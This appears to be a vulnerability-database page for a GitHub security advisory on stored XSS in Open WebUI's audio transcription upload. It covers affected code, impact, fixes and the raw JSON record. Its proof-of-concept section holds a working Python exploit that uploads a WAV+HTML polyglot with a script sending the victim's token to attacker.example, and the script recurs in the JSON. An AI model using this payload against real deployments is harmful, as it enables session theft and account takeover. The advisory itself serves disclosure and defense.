GHSA-M8F9-9WHG-F4XR

Vulnerability from github – Published: 2026-05-14 20:17 – Updated: 2026-05-19 16:02
VLAI?
Summary
Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions
Details

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):
- backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
allowlist, no cross-check against file.content_type.
- backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
and sets no Content-Disposition.
- backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
- backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
- src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
- backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. ```python import struct, httpx

data = b'\x80' * 44100
wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE',
b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
b'data', len(data)) + data
payload = wav + b'alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)'

r = httpx.post(
'https://VICTIM/api/v1/audio/transcriptions',
headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
files={'file': ('pwn.html', payload, 'audio/wav')},
)
fn = r.json()['filename'] # '.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/
```

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-434",
      "CWE-646"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:17:58Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL \u2014 the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 \u2014 ext = safe_name.rsplit(\u0027.\u0027, 1)[-1] from user-supplied filename, then filename = f\u0027{id}.{ext}\u0027. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 \u2014 /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 \u2014 strict_match_mime_type defaults to [\u0027audio/*\u0027, \u0027video/webm\u0027], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 \u2014 USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, \u2026) \u2014 JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 \u2014 OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b\u0027\\x80\u0027 * 44100                                                                                                                                   \n  wav  = struct.pack(\u0027\u003c4sI4s4sIHHIIHH4sI\u0027,\n          b\u0027RIFF\u0027, 36 + len(data), b\u0027WAVE\u0027,                                                                                                                \n          b\u0027fmt \u0027, 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b\u0027data\u0027, len(data)) + data                                                                                                                       \n  payload = wav + b\u0027\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e\u0027\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      \u0027https://VICTIM/api/v1/audio/transcriptions\u0027,                                                                                                        \n      headers={\u0027Authorization\u0027: f\u0027Bearer {ATTACKER_JWT}\u0027},                                                                                                 \n      files={\u0027file\u0027: (\u0027pwn.html\u0027, payload, \u0027audio/wav\u0027)},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()[\u0027filename\u0027]      # \u0027\u003cuuid\u003e.html\u0027\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user \u2014 including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI\u0027s existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.",
  "id": "GHSA-m8f9-9whg-f4xr",
  "modified": "2026-05-19T16:02:01Z",
  "published": "2026-05-14T20:17:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45315"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…